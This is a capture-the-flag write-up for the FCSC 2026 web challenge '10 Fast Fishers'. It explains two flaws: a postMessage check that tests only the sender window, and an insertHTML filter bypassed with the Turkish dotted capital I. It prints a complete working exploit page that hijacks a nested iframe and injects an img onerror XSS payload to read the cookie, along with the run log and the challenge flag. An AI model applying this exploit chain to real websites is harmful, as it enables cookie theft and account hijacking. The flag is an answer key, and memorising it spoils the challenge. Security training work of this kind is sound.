10 Fast Fishers [EN]| FCSC 2026
10 Fast Fishers | FCSC 2026
Challenge
Think you can type fast? Prove it in 10 Fast Fishers, the addictive underwater typing game where speed meets style!
A web typing game with a bot (Firefox 145 / Puppeteer) that visits a user-provided URL after setting a FLAG cookie on the game’s domain (httpOnly: false). The goal is to steal the cookie via XSS.
Architecture
-
App (port 5000): Static Express server hosting the game
index.html, main game page with a contentEditable editor and an<iframe>loading/aquariumaquarium.html, iframe displaying swimming fishgame.js, game logic, postMessage handler,document.execCommandcallsaquarium.js, fish spawning with innerHTML sink
-
Bot (port 4000): Firefox 145 Puppeteer bot
- Sets
FLAGcookie on10-fast-fishers-appdomain - Visits user-provided URL, waits 5 seconds
- All
console.logoutput is sent back to the user
- Sets
Vulnerability Analysis
1. postMessage source-only check (game.js)
The parent page accepts messages from the aquarium iframe but only checks e.source, not e.origin:
window.addEventListener('message', (e) => {
if (e.source !== aquariumFrame.contentWindow) {
console.warn('Message rejected: not from iframe');
return;
}
const { type, data } = e.data;
if (type === 'FISH_CLICKED') {
handleFishClick(data);
}
});
If I navigate the aquarium iframe to my controlled page, my page becomes aquariumFrame.contentWindow, and the source check passes.
2. insertHTML filter bypass via Turkish İ (U+0130)
The handleFishClick function blocks insertHTML:
if (command.toLowerCase() === 'inserthtml') {
return;
}
document.execCommand(command, false, value);
The filter uses JavaScript’s String.prototype.toLowerCase(). The Turkish capital İ (U+0130, Latin Capital Letter I With Dot Above) has a special Unicode case mapping:
'İ'.toLowerCase() -> 'i' + U+0307 (combining dot above) = TWO characters
Therefore:
'\u0130nsertHTML'.toLowerCase() === 'i\u0307nserthtml'
// false
Meanwhile, Firefox’s internal execCommand implementation normalizes the command name differently. It recognizes İnsertHTML as the insertHTML command and executes it.
This is the core of the exploit: a Unicode case-folding mismatch between JavaScript’s toLowerCase() and Firefox’s internal command matching.
Exploit
Step 1 | Iframe hijacking
My exploit page embeds the game in an iframe, then navigates the game’s nested aquarium iframe to a second instance of itself (?step=2):
const game = document.createElement('iframe');
game.src = 'http://10-fast-fishers-app:5000';
document.body.appendChild(game);
setTimeout(() => {
game.contentWindow[0].location = selfUrl + '?step=2';
}, 2000);
After navigation, aquariumFrame.contentWindow points to my page, so any postMessage I send passes the source check.
Step 2 | XSS via Turkish İ insertHTML bypass
From inside the hijacked iframe, I send a FISH_CLICKED message with the Turkish İ bypass:
window.parent.postMessage({
type: 'FISH_CLICKED',
data: {
command: '\u0130nsertHTML', // İnsertHTML to bypasses toLowerCase check
value: '<img src=x onerror="console.log(document.cookie)">',
targetWord: 'shrimp', // matches initial currentSelectedWord
points: 10,
fishId: 0
}
}, '*');
The game page:
- Checks
e.source === aquariumFrame.contentWindow, which passes (I am the iframe) - Checks
command.toLowerCase() === 'inserthtml', which produces'i̇nserthtml' !== 'inserthtml', so the filter is bypassed - Executes
document.execCommand('İnsertHTML', false, '<img src=x onerror=...>'). Firefox treats it asinsertHTML, resulting in XSS!
The <img> element is injected into the contentEditable editor on the game page’s origin. The onerror fires, executing console.log(document.cookie) which reads the FLAG cookie. The bot captures the console output and sends it back.
Full exploit (solve.html)
<!DOCTYPE html>
<html>
<head><title>Solve</title></head>
<body>
<script>
const TARGET = 'http://10-fast-fishers-app:5000';
function send(type, data) {
window.parent.postMessage({ type, data }, '*');
}
function fish(command, value, targetWord, points) {
send('FISH_CLICKED', { command, value, points: points || 10, targetWord, fishId: 0 });
}
let step = (new URLSearchParams(document.location.search)).get("step");
if (step == "2") {
setTimeout(() => {
fish(
'\u0130nsertHTML',
'<img src=x onerror="console.log(document.cookie)">',
'shrimp',
10
);
}, 500);
} else {
const url = new URL(window.location.href);
url.searchParams.set("step", "2");
const game = document.createElement('iframe');
game.src = TARGET;
game.style.width = '100%';
game.style.height = '600px';
document.body.appendChild(game);
setTimeout(() => {
game.contentWindow[0].location = url;
}, 2000);
}
</script>
</body>
</html>
Execution
$ echo http://<ip>/solve.html | nc challenges.fcsc.fr 2251
[T1]> [handleFishClick]> {"command":"İnsertHTML","value":"<img src=x onerror=\"console.log(document.cookie)\">", ...}
[T1]> FLAG=FCSC{ef387c83c9e558b135d9837c5dc43f46}
Flag
FCSC{ef387c83c9e558b135d9837c5dc43f46}